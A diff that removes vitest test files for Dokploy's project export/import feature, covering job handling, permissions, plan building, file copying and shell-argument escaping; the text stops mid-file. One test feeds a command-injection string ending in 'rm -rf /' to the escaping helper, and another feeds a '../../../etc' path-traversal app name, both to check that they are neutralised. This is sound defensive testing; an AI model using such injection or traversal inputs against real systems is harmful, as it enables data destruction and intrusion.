webServerSettings: { findFirst: async () => undefined },
},
insert: () => {
throw new Error("insert should never be called");
},
update: () => {
throw new Error("update should never be called");
},
transaction: async () => {
throw new Error("Simulated apply failure");
},
} as any as TransferWriteDb;
runImport(importId, { db: failingDb, organizationId: "org-dest" });
const job = await waitForStatus(importId, "failed");
expect(job?.status).toBe("failed");
expect(job?.result).toBeUndefined();
expect(job?.partial).toBeFalsy();
expect(job?.error).toContain("Simulated apply failure");
});
it("clears secretsPlain right after apply() and snapshot once the job is done", async () => {
const importId = "import-clear-secrets-1";
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, {
snapshot,
plan,
secretsPlain: new Map([["some-secret-id", "super-secret-value"]]),
workDir: local("/tmp/does-not-matter"),
});
const workingDb = {
query: {
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
certificates: { findFirst: async () => undefined },
},
insert: () => ({
values: (values: Record<string, unknown>) => ({
returning: async () => [{ ...values, projectId: "new-project-1" }],
}),
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
fn({ ...workingDb }),
} as any as TransferWriteDb;
runImport(importId, { db: workingDb, organizationId: "org-dest" });
const job = await waitForStatus(importId, "done");
expect(job?.status).toBe("done");
expect(job?.secretsPlain).toBeUndefined();
expect(job?.snapshot).toBeUndefined();
});
it("refuses to run without snapshot/plan/secrets already set on the job", async () => {
const importId = "import-missing-1";
createImportJob(importId, "user-1", "org-dest");
const unusedDb = {
query: {},
insert: () => {
throw new Error("should never be called");
},
update: () => {
throw new Error("should never be called");
},
transaction: async () => {
throw new Error("should never be called");
},
} as any as TransferWriteDb;
runImport(importId, { db: unusedDb, organizationId: "org-dest" });
const job = await waitForStatus(importId, "failed");
expect(job?.status).toBe("failed");
expect(job?.error).toMatch(/inspect, unlock and plan/i);
});
});
describe("cancelImport (T-4.2)", () => {
let root: string;
afterEach(async () => {
if (root) {
await rm(root, { recursive: true, force: true });
}
});
it("removes the whole per-job directory, not just job.workDir; including the uploaded bundle sitting next to it", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-"));
const importId = "import-cancel-1";
const jobDir = join(root, importId);
const workDir = join(jobDir, "extracted");
await mkdir(workDir, { recursive: true });
await writeFile(join(jobDir, "bundle.dokploy.tar.gz"), "fake bundle");
await writeFile(join(workDir, "manifest.json"), "{}");
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), workDir: local(workDir) });
await cancelImport(importId);
await expect(readdir(jobDir)).rejects.toThrow();
expect(getImportJob(importId)).toBeUndefined();
});
it("refuses to cancel while the background pipeline is actually running (applying/restoring/deploying)", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-running-"));
const importId = "import-cancel-running-1";
const jobDir = join(root, importId);
await mkdir(jobDir, { recursive: true });
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), status: "restoring" });
await expect(cancelImport(importId)).rejects.toThrow(TRPCError);
expect(getImportJob(importId)?.status).toBe("restoring");
await expect(readdir(jobDir)).resolves.toEqual([]);
});
it("still allows cancelling a job that's only idling on the next user step (e.g. 'planned')", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-idle-"));
const importId = "import-cancel-idle-1";
const jobDir = join(root, importId);
await mkdir(jobDir, { recursive: true });
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), status: "planned" });
await cancelImport(importId);
expect(getImportJob(importId)).toBeUndefined();
});
});
describe("cleanupExpiredImports (T-5.10)", () => {
let root: string;
afterEach(async () => {
if (root) {
await rm(root, { recursive: true, force: true });
}
});
it("leaves an active (non-terminal status) job alone even past the TTL", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-import-"));
const importId = "active-past-ttl-1";
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { status: "restoring" });
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredImports(farFuture);
expect(expired.map((j) => j.importId)).not.toContain(importId);
expect(getImportJob(importId)).toBeDefined();
});
it("cleans up a terminal-status job once it's past the TTL", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-import-"));
const importId = "terminal-past-ttl-1";
const jobDir = join(root, importId);
await mkdir(jobDir, { recursive: true });
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), status: "done" });
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredImports(farFuture);
expect(expired.map((j) => j.importId)).toContain(importId);
expect(getImportJob(importId)).toBeUndefined();
await expect(readdir(jobDir)).rejects.toThrow();
});
});
@@ -1,65 +0,0 @@
import {
assertNoActiveTransfer,
createExportJob,
createImportJob,
createImportJobIfNoneActive,
getImportJob,
updateExportJob,
updateImportJob,
} from "@dokploy/server/services/project-export-import";
import { TRPCError } from "@trpc/server";
import { describe, expect, it } from "vitest";
describe("assertNoActiveTransfer (T-4.2)", () => {
it("throws when the user has an in-progress export", () => {
createExportJob("export-rl-1", "user-rl-1", "org-1");
updateExportJob("export-rl-1", { status: "capturing" });
expect(() => assertNoActiveTransfer("user-rl-1")).toThrow(TRPCError);
});
it("throws when the user has an in-progress import", () => {
createImportJob("import-rl-1", "user-rl-2", "org-1");
updateImportJob("import-rl-1", { status: "applying" });
expect(() => assertNoActiveTransfer("user-rl-2")).toThrow(TRPCError);
});
it("does not throw once the job reaches a terminal status", () => {
createExportJob("export-rl-2", "user-rl-3", "org-1");
updateExportJob("export-rl-2", { status: "done" });
createImportJob("import-rl-2", "user-rl-3", "org-1");
updateImportJob("import-rl-2", { status: "done" });
expect(() => assertNoActiveTransfer("user-rl-3")).not.toThrow();
});
it("does not throw for a different user's in-progress job", () => {
createExportJob("export-rl-3", "user-rl-4", "org-1");
updateExportJob("export-rl-3", { status: "capturing" });
expect(() => assertNoActiveTransfer("user-rl-someone-else")).not.toThrow();
});
});
describe("createImportJobIfNoneActive (T-5.11)", () => {
it("the second of two back-to-back calls for the same user fails, even with no active job at the time of either's own separate check", () => {
createImportJobIfNoneActive("import-atomic-1", "user-atomic-1", "org-1");
expect(() =>
createImportJobIfNoneActive("import-atomic-2", "user-atomic-1", "org-1"),
).toThrow(TRPCError);
expect(getImportJob("import-atomic-1")).toBeDefined();
expect(getImportJob("import-atomic-2")).toBeUndefined();
});
it("still allows a different user's call to proceed", () => {
createImportJobIfNoneActive("import-atomic-3", "user-atomic-2", "org-1");
expect(() =>
createImportJobIfNoneActive("import-atomic-4", "user-atomic-3", "org-1"),
).not.toThrow();
expect(getImportJob("import-atomic-4")).toBeDefined();
});
});
@@ -1,52 +0,0 @@
import type { Manifest } from "@dokploy/server/services/project-export-import";
import {
migrateManifest,
TRANSFER_FORMAT,
TRANSFER_FORMAT_VERSION,
UnsupportedBundleVersionError,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const baseManifest: Manifest = {
format: TRANSFER_FORMAT,
formatVersion: TRANSFER_FORMAT_VERSION,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0-test", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
};
describe("migrateManifest", () => {
it("returns a v1 manifest unchanged (identity)", () => {
const result = migrateManifest(baseManifest);
expect(result).toEqual(baseManifest);
});
it("throws UnsupportedBundleVersionError for a bundle newer than this install supports", () => {
const future: Manifest = {
...baseManifest,
formatVersion: TRANSFER_FORMAT_VERSION + 1,
};
expect(() => migrateManifest(future)).toThrow(
UnsupportedBundleVersionError,
);
expect(() => migrateManifest(future)).toThrow(/newer version of Dokploy/i);
});
});
@@ -1,108 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
let memberToReturn:
| {
id: string;
role: string;
userId: string;
organizationId: string;
accessedProjects: string[];
}
| undefined = {
id: "member-1",
role: "owner",
userId: "user-1",
organizationId: "org-1",
accessedProjects: [],
};
let projectToReturn: { projectId: string; organizationId: string } | undefined =
{ projectId: "project-1", organizationId: "org-1" };
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
member: {
findFirst: vi.fn(() => Promise.resolve(memberToReturn)),
},
projects: {
findFirst: vi.fn(() => Promise.resolve(projectToReturn)),
},
},
},
}));
const { assertTransferPermission } = await import(
"@dokploy/server/services/project-export-import"
);
const ctxFor = (organizationId: string) => ({
user: { id: "user-1" },
session: { activeOrganizationId: organizationId },
});
beforeEach(() => {
memberToReturn = {
id: "member-1",
role: "owner",
userId: "user-1",
organizationId: "org-1",
accessedProjects: [],
};
projectToReturn = { projectId: "project-1", organizationId: "org-1" };
});
describe("assertTransferPermission", () => {
it("allows an owner to export", async () => {
memberToReturn = { ...memberToReturn!, role: "owner" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).resolves.toBeDefined();
});
it("allows an admin to export", async () => {
memberToReturn = { ...memberToReturn!, role: "admin" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).resolves.toBeDefined();
});
it("rejects a plain member with FORBIDDEN", async () => {
memberToReturn = { ...memberToReturn!, role: "member" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
it("rejects a user with no membership in the active org (cross-org access)", async () => {
memberToReturn = undefined;
await expect(
assertTransferPermission(ctxFor("org-2") as any, "project-1", "export"),
).rejects.toBeDefined();
});
it("rejects NOT_FOUND when projectId belongs to a different organization, even for an owner", async () => {
projectToReturn = { projectId: "project-1", organizationId: "org-2" };
await expect(
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("rejects NOT_FOUND when projectId doesn't exist at all", async () => {
projectToReturn = undefined;
await expect(
assertTransferPermission(
ctxFor("org-1") as any,
"project-missing",
"export",
),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("skips the project lookup entirely when no projectId is given", async () => {
projectToReturn = undefined;
await expect(
assertTransferPermission(ctxFor("org-1") as any, undefined, "export"),
).resolves.toBeDefined();
});
});
@@ -1,391 +0,0 @@
import type {
Requirement,
Snapshot,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
buildPlan,
requirementKey,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const vaultRequirement: Requirement = {
kind: "vault",
originalId: "vault-src",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
providerName: "prod",
providerType: "hashicorp",
secretKeys: ["DB_PASS"],
};
const networkRequirement: Requirement = {
kind: "network",
originalId: "net-src",
configIncluded: true,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
name: "shared-net",
};
const serverRequirement: Requirement = {
kind: "server",
originalId: "server-src-1",
configIncluded: false,
usedBy: [
{
serviceId: "app-1",
serviceType: "application",
serviceName: "my-app",
environmentId: "env-1",
},
],
};
const applicationService: Record<string, unknown> = {
kind: "application",
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
serverId: "server-src-1",
domains: [{ domainId: "dom-1", host: "existing.example.com" }],
ports: [{ portId: "port-src-1", publishedPort: 8080 }],
};
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: { application: 1 },
},
resources: {
project: { projectId: "project-1", name: "my-project" },
environments: [{ environmentId: "env-1", name: "production" }],
services: [applicationService],
shared: {},
},
requirements: [vaultRequirement, networkRequirement, serverRequirement],
warnings: [],
dumps: [],
};
const fakeDb = (): TransferDb =>
({
query: {
vaultProvider: { findMany: async () => [] },
network: {
findMany: async () => [],
findFirst: async () => ({
networkId: "net-dest-existing",
name: "shared-net",
organizationId: "org-dest",
}),
},
server: {
findMany: async () => [
{
serverId: "server-dest-1",
name: "prod",
organizationId: "org-dest",
},
],
findFirst: async () => ({ organizationId: "org-dest" }),
},
webServerSettings: { findFirst: async () => undefined },
projects: {
findFirst: async () => ({
projectId: "project-existing",
name: "my-project",
organizationId: "org-dest",
}),
},
domains: {
findMany: async () => [
{ domainId: "dom-existing-1", host: "existing.example.com" },
],
},
postgres: {
findMany: async () => [],
findFirst: async () => undefined,
},
mysql: {
findMany: async () => [],
findFirst: async () => undefined,
},
mariadb: {
findMany: async () => [],
findFirst: async () => undefined,
},
mongo: {
findMany: async () => [],
findFirst: async () => undefined,
},
redis: {
findMany: async () => [],
findFirst: async () => undefined,
},
libsql: {
findMany: async () => [],
findFirst: async () => undefined,
},
ports: {
findMany: async () => [
{
portId: "port-existing-1",
publishedPort: 8080,
application: { serverId: "server-dest-1" },
},
],
},
},
}) as any as TransferDb;
describe("buildPlan", () => {
it("marks a missing vault requirement's services as pending, with a blocking warning", async () => {
const plan = await buildPlan(
fakeDb(),
snapshot,
"org-dest",
{ kind: "newProject", name: "my-project" },
{
resolutions: {
[requirementKey(serverRequirement)]: {
requirementKey: requirementKey(serverRequirement),
action: "reuse",
targetId: "server-dest-1",
},
},
},
);
expect(plan.resolutions[requirementKey(vaultRequirement)]).toEqual({
requirementKey: requirementKey(vaultRequirement),
action: "skip",
});
expect(plan.pendingServices).toEqual([
{
serviceId: "app-1",
serviceType: "application",
reason: 'Missing vault "prod"',
},
]);
expect(
plan.warnings.some(
(w) =>
w.code === "MISSING_REQUIREMENT_BLOCKING" &&
w.severity === "blocking",
),
).toBe(true);
});
it("flags an existing host as a domain conflict", async () => {
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.conflicts).toContainEqual(
expect.objectContaining({
kind: "domain",
value: "existing.example.com",
existingId: "dom-existing-1",
}),
);
});
it("flags an existing project name as a conflict with a suggested rename option", async () => {
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.conflicts).toContainEqual({
kind: "projectName",
value: "my-project",
existingId: "project-existing",
usedBy: [],
options: ["rename"],
});
expect(plan.conflictResolutions?.["projectName:my-project"]).toEqual({
action: "rename",
value: "my-project (imported)",
});
});
it("flags a network conflict only when the requirement's resolution is 'create'", async () => {
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.resolutions[requirementKey(networkRequirement)]?.action).toBe(
"create",
);
expect(plan.conflicts).toContainEqual(
expect.objectContaining({ kind: "network", value: "shared-net" }),
);
});
it("flags a port conflict on the destination server the service resolves to", async () => {
const plan = await buildPlan(
fakeDb(),
snapshot,
"org-dest",
{ kind: "newProject", name: "my-project" },
{
resolutions: {
[requirementKey(serverRequirement)]: {
requirementKey: requirementKey(serverRequirement),
action: "reuse",
targetId: "server-dest-1",
},
},
},
);
expect(plan.serverMap["server-src-1"]).toBe("server-dest-1");
expect(plan.conflicts).toContainEqual(
expect.objectContaining({ kind: "port", value: "8080" }),
);
});
it("regenerates app names by default, and keeps the original when keepAppNames is set and available", async () => {
const regenerated = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(regenerated.appNameMap["my-app-abc123"]).not.toBe("my-app-abc123");
const kept = await buildPlan(
fakeDb(),
snapshot,
"org-dest",
{ kind: "newProject", name: "my-project" },
{
keepAppNames: true,
checkAppNameAvailable: async () => true,
},
);
expect(kept.appNameMap["my-app-abc123"]).toBe("my-app-abc123");
});
it("retries appName generation against the DB on a simulated collision", async () => {
let findFirstCalls = 0;
const db = {
...fakeDb(),
query: {
...(fakeDb() as any).query,
applications: {
findFirst: async () => {
findFirstCalls += 1;
return findFirstCalls <= 2
? { applicationId: "app-taken", appName: "whatever" }
: undefined;
},
},
},
} as any as TransferDb;
const plan = await buildPlan(db, snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(findFirstCalls).toBeGreaterThanOrEqual(3);
expect(plan.appNameMap["my-app-abc123"]).toBeDefined();
expect(plan.appNameMap["my-app-abc123"]).not.toBe("my-app-abc123");
});
it("gives up after MAX_APP_NAME_RETRIES consecutive collisions instead of looping forever", async () => {
const db = {
...fakeDb(),
query: {
...(fakeDb() as any).query,
applications: {
findFirst: async () => ({
applicationId: "app-taken",
appName: "whatever",
}),
},
},
} as any as TransferDb;
await expect(
buildPlan(db, snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
}),
).rejects.toThrow(/unique appName/i);
});
it("excludes redis from the dump count summary (it has no dump support)", async () => {
const dumpSnapshot: Snapshot = {
...snapshot,
manifest: {
...snapshot.manifest,
scope: {
...snapshot.manifest.scope,
dumps: { mode: "embed" },
},
},
resources: {
...snapshot.resources,
services: [
applicationService,
{
kind: "postgres",
postgresId: "pg-1",
name: "my-db",
appName: "my-db-abc123",
environmentId: "env-1",
},
{
kind: "redis",
redisId: "redis-1",
name: "my-cache",
appName: "my-cache-abc123",
environmentId: "env-1",
},
],
},
requirements: [],
};
const plan = await buildPlan(fakeDb(), dumpSnapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.summary.dumps).toBe(1);
});
});
@@ -1,248 +0,0 @@
import { existsSync } from "node:fs";
import { mkdir, mkdtemp, readFile, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
Plan,
Snapshot,
TransferDb,
TransferResult,
} from "@dokploy/server/services/project-export-import";
import { postApply } from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const local = (path: string) => ({ serverId: null, path });
vi.mock("@dokploy/server/services/mount", () => ({
createFileMount: vi.fn(async () => {}),
}));
const { createFileMount } = await import("@dokploy/server/services/mount");
let root: string;
let workDir: string;
const fakePaths = (_isServer: boolean) => ({
BASE_PATH: root,
MAIN_TRAEFIK_PATH: join(root, "traefik"),
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
LOGS_PATH: join(root, "logs"),
APPLICATIONS_PATH: join(root, "applications"),
COMPOSE_PATH: join(root, "compose"),
SSH_PATH: join(root, "ssh"),
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
MONITORING_PATH: join(root, "monitoring"),
REGISTRY_PATH: join(root, "registry"),
SCHEDULES_PATH: join(root, "schedules"),
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
PATCH_REPOS_PATH: join(root, "patch-repos"),
});
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-postapply-root-"));
workDir = await mkdtemp(join(tmpdir(), "transfer-postapply-work-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
await rm(workDir, { recursive: true, force: true });
});
const composeService = {
kind: "compose",
composeId: "compose-1",
appName: "my-compose-abc123",
environmentId: "env-1",
serverId: null,
};
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {},
environments: [],
services: [composeService],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const plan: Plan = {
target: { kind: "newProject", name: "imported" },
resolutions: {},
serverMap: {},
appNameMap: { "my-compose-abc123": "my-compose-xyz789" },
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
};
const result: TransferResult = {
idMap: { compose: { "compose-1": "compose-new-1" } },
appNameMap: plan.appNameMap,
pendingRequirements: [],
pendingServices: [],
rotations: [],
restoreErrors: [],
warnings: [],
};
const fakeDb = {
query: {
certificates: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
},
} as any as TransferDb;
describe("postApply", () => {
it("copies compose files to the new appName, rewriting docker-compose.yml, and reports it as a deploy candidate", async () => {
const sourceDir = join(workDir, "files", "compose", "my-compose-abc123");
await mkdir(sourceDir, { recursive: true });
await writeFile(
join(sourceDir, "docker-compose.yml"),
"services:\n web:\n container_name: my-compose-abc123-web\n",
);
await writeFile(join(sourceDir, ".env"), "APP_NAME=my-compose-abc123\n");
const { deployCandidates } = await postApply(
fakeDb,
snapshot,
plan,
result,
local(workDir),
{
pathsFn: fakePaths as any,
},
);
const destDir = join(root, "compose", "my-compose-xyz789");
expect(existsSync(join(destDir, "docker-compose.yml"))).toBe(true);
const composeContent = await readFile(
join(destDir, "docker-compose.yml"),
"utf8",
);
expect(composeContent).toContain("my-compose-xyz789-web");
expect(composeContent).not.toContain("my-compose-abc123");
const envContent = await readFile(join(destDir, ".env"), "utf8");
expect(envContent).toContain("APP_NAME=my-compose-xyz789");
expect(deployCandidates).toEqual([
{ serviceId: "compose-new-1", serviceType: "compose", serverId: null },
]);
});
it("excludes pending services from deployCandidates", async () => {
const pendingPlan: Plan = {
...plan,
pendingServices: [
{
serviceId: "compose-1",
serviceType: "compose",
reason: "Missing registry",
},
],
};
const { deployCandidates } = await postApply(
fakeDb,
snapshot,
pendingPlan,
result,
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(deployCandidates).toEqual([]);
});
});
describe("postApply writes file-type mounts to disk (T-6.6)", () => {
it("calls createFileMount for every file-type mount belonging to a newly created service", async () => {
(createFileMount as any).mockClear();
const dbWithMounts = {
query: {
certificates: { findFirst: async () => undefined },
mounts: {
findMany: async () => [
{
mountId: "mount-file-1",
type: "file",
filePath: "/app/nginx.conf",
},
],
},
},
} as any as TransferDb;
await postApply(dbWithMounts, snapshot, plan, result, local(workDir), {
pathsFn: fakePaths as any,
});
expect(createFileMount).toHaveBeenCalledWith("mount-file-1");
expect(createFileMount).toHaveBeenCalledTimes(1);
});
});
describe("postApply rejects an unsafe appName (T-9.2)", () => {
it("reports a postApplyError instead of joining a path-traversal appName into a local path", async () => {
const maliciousSnapshot: Snapshot = {
...snapshot,
resources: {
...snapshot.resources,
services: [
{
...composeService,
appName: "../../../etc",
},
],
},
};
const maliciousPlan: Plan = { ...plan, appNameMap: {} };
const { deployCandidates, postApplyErrors } = await postApply(
fakeDb,
maliciousSnapshot,
maliciousPlan,
result,
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(deployCandidates).toEqual([]);
expect(postApplyErrors).toHaveLength(1);
expect(postApplyErrors[0]?.error).toContain("Unsafe path in bundle");
});
});
@@ -1,189 +0,0 @@
import { existsSync, readFileSync, writeFileSync } from "node:fs";
import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import {
copyDir,
copyFile,
escapeShellArg,
exists,
fileSize,
readFile,
remove,
runToFile,
writeFile as writeRemoteFile,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const { pipeMock } = vi.hoisted(() => ({ pipeMock: vi.fn() }));
vi.mock(
"@dokploy/server/utils/process/remoteStream",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/remoteStream")
>();
return {
...actual,
pipeBetweenServers: (
args: Parameters<typeof actual.pipeBetweenServers>[0],
) =>
args.source.serverId || args.target.serverId
? pipeMock(args)
: actual.pipeBetweenServers(args),
};
},
);
const local = (path: string) => ({ serverId: null, path });
describe("escapeShellArg", () => {
it("wraps a plain value in single quotes", () => {
expect(escapeShellArg("app-foo")).toBe("'app-foo'");
});
it("neutralizes an embedded single quote (command injection attempt)", () => {
const malicious = "foo'; rm -rf / #";
expect(escapeShellArg(malicious)).toBe("'foo'\\''; rm -rf / #'");
});
});
describe("local transfers (serverId null on both sides)", () => {
let base: string;
beforeEach(async () => {
base = await mkdtemp(join(tmpdir(), "transfer-remote-fs-"));
});
afterEach(async () => {
await rm(base, { recursive: true, force: true });
});
it("copies a directory tree with copyDir, honouring excludes", async () => {
const source = join(base, "source");
await mkdir(join(source, "nested"), { recursive: true });
await mkdir(join(source, "node_modules"), { recursive: true });
await writeFile(join(source, "a.txt"), "hello");
await writeFile(join(source, "nested", "b.txt"), "world");
await writeFile(join(source, "node_modules", "x.js"), "skip me");
const dest = join(base, "dest", "deep");
await copyDir(local(source), local(dest), { exclude: ["node_modules"] });
expect(readFileSync(join(dest, "a.txt"), "utf8")).toBe("hello");
expect(readFileSync(join(dest, "nested", "b.txt"), "utf8")).toBe("world");
expect(existsSync(join(dest, "node_modules"))).toBe(false);
});
it("copies a single file with copyFile, creating the parent directory", async () => {
const source = join(base, "dump.sql");
writeFileSync(source, Buffer.from([0, 1, 2, 255]));
const dest = join(base, "out", "copied-dump.sql");
await copyFile(local(source), local(dest));
expect(readFileSync(dest)).toEqual(Buffer.from([0, 1, 2, 255]));
});
it("writes from memory and reads back with writeFile/readFile", async () => {
const target = join(base, "nested", "it's.json");
await writeRemoteFile(local(target), '{"a":1}');
expect((await readFile(local(target))).toString()).toBe('{"a":1}');
expect(await exists(local(target))).toBe(true);
expect(await fileSize(local(target))).toBe(7);
});
it("captures a command's stdout into a file with runToFile", async () => {
const target = join(base, "captured.txt");
await runToFile(null, "printf 'abc'", local(target));
expect(readFileSync(target, "utf8")).toBe("abc");
});
it("removes the target when the command fails in runToFile", async () => {
const target = join(base, "partial.txt");
await expect(
runToFile(null, "printf 'abc'; exit 3", local(target)),
).rejects.toThrow();
expect(existsSync(target)).toBe(false);
});
it("remove is a no-op for a missing path and exists reports false", async () => {
const target = join(base, "missing");
await expect(remove(local(target))).resolves.toBeUndefined();
expect(await exists(local(target))).toBe(false);
});
});
describe("transfers between different servers go through pipeBetweenServers", () => {
let base: string;
beforeEach(async () => {
base = await mkdtemp(join(tmpdir(), "transfer-remote-fs-ssh-"));
pipeMock.mockReset();
});
afterEach(async () => {
await rm(base, { recursive: true, force: true });
});
it("copyFile removes the local target when the remote side fails", async () => {
const target = join(base, "app-one.yml");
pipeMock.mockImplementation(async () => {
writeFileSync(target, "partial");
throw new Error("source exited with code 1: cat: No such file");
});
await expect(
copyFile(
{
serverId: "server-1",
path: "/etc/dokploy/traefik/dynamic/app-one.yml",
},
local(target),
),
).rejects.toThrow(/exited with code 1: cat: No such file/);
expect(existsSync(target)).toBe(false);
expect(pipeMock.mock.calls[0]?.[0].source).toEqual({
serverId: "server-1",
command: "cat '/etc/dokploy/traefik/dynamic/app-one.yml'",
});
});
it("copyDir escapes the paths and the excludes on both ends", async () => {
pipeMock.mockResolvedValue(0);
await copyDir(
{ serverId: "server-1", path: "/remote/dir" },
{ serverId: "server-2", path: "/it's/local" },
{ exclude: [".git", "it's"] },
);
expect(pipeMock.mock.calls[0]?.[0]).toEqual({
source: {
serverId: "server-1",
command:
"tar -czf - --exclude='.git' --exclude='it'\\''s' -C '/remote/dir' .",
},
target: {
serverId: "server-2",
command:
"mkdir -p '/it'\\''s/local' && tar -xzf - -C '/it'\\''s/local'",
},
});
});
it("runToFile streams a command from one server into a file on another", async () => {
pipeMock.mockResolvedValue(0);
await runToFile("db-server", "pg_dump x | gzip", {
serverId: "build-server",
path: "/etc/dokploy/project-export-import/x/dumps/pg.sql.gz",
});
expect(pipeMock.mock.calls[0]?.[0]).toEqual({
source: { serverId: "db-server", command: "pg_dump x | gzip" },
target: {
serverId: "build-server",
command:
"mkdir -p '/etc/dokploy/project-export-import/x/dumps' && cat > '/etc/dokploy/project-export-import/x/dumps/pg.sql.gz'",
},
});
});
});
@@ -1,362 +0,0 @@
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import { detectRequirements } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const baseApplication = {
applicationId: "app-1",
name: "app-1",
env: "",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
owner: null,
repository: null,
registryId: null,
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
domains: [],
backups: undefined,
volumeBackups: [],
};
const emptyServiceArrays = {
compose: [],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
};
const buildTree = (application: Record<string, unknown>) => ({
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
